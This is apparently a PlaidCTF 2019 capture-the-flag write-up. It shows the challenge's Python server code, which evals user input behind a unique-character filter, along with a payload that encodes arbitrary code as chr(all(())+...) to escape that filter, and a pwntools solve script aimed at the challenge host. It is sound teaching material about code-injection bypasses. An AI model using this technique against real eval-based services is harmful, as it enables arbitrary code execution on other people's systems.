PlaidCTF 2019 - can you guess me - misc (100pt)
Bypassing heavily filtered python code evaluation
can you guess me
Misc - 100pt
ncip here
This was a fun challenge from PlaidCTF. We get the source code of the server below.
#! /usr/bin/env python3
from sys import exit
from secret import secret_value_for_password, flag, exec
print(r"")
print(r"")
print(r" ____ __ __ ____ __ __ ")
print(r" / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ ")
print(r"| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| ")
print(r" ")
print(r"")
print(r"")
try:
val = 0
inp = input("Input value: ")
count_digits = len(set(inp))
if count_digits <= 10: # Make sure it is a number
val = eval(inp)
else:
raise
if val == secret_value_for_password:
print(flag)
else:
print("Nope. Better luck next time.")
except:
print("Nope. No hacking.")
exit(1)
The goal in this challenge is to get the value of the flag
variable. The obvious vulnerability here is that the code executes eval(inp)
. However, you have a length limit of 10... or do you? The code gets the value of count_digits
as len(set(inp))
, which actually counts the number of unique characters in your input.
So, we need to find a payload with 10 or less characters that prints the flag
variable.
Unfortunately... print(flag)
was 1 character too many, so I just wanted to find something that worked. I tried print(dir())
, and this successfully caused the program to print out all variable names in global scope.
I couldn't find an easy way to print the value of the flag variable, so I decided to try and find a way to get arbitrary code execution with exec()
or eval()
.
I eventually stumbled upon exec(chr(1+1+....+1)+chr(1+1+....+1)+....)
, which would allow me to exec()
an arbitrary string with exactly 9 unique characters ( exchr1+()
). BUT.... the creators apparently thought of this. At the top of the file they have from secret import exec
, and the custom exec function just prints an ASCII trollface.
eval()
instead, I guess! The problem with eval(chr(1+1+...+1)+chr(1+1+...+1)+...))
payload is that it has 11 unique characters, so we need to figure out how to get rid of one. I figured that we probably need to keep eval()
and chr()
, so is there any way avoid using 1
?
I looked at the list of built in functions in Python3, and noticed the very second one, all()
. all(x)
returns True
if all the elements inside the iterable x are True. Also, in python, True
is treated as 1
, just like in C-based languages. So, to get a 1
, we can call all()
on an empty tuple: all(())
.
Our final payload is in the form: eval(chr(all(())+all(())+...+all(()))+chr(all(())+all(())+...+all(()))+...)
Solve script (generates code to eval("print(flag)")
):
from pwn import *
r = remote('canyouguessme.pwni.ng', 12349)
exp = "print(flag)"
chars = []
for c in exp:
ordinal = "+".join(["all(())"] * ord(c))
char = "chr("+ordinal+")"
chars.append(char)
payload = "+".join(chars)
payload = "eval("+payload+")"
print payload
print len(set(payload))
r.recvuntil(': ')
r.sendline(payload)
r.interactive()
Final thoughts
After the CTF ended I read about two much simpler payloads, which I may have came up with if I looked at the list of built-in functions to start off.
help(flag)
and print(vars())
.
I still solved it pretty quickly though, and liked my solution because it gives you arbitrary code execution.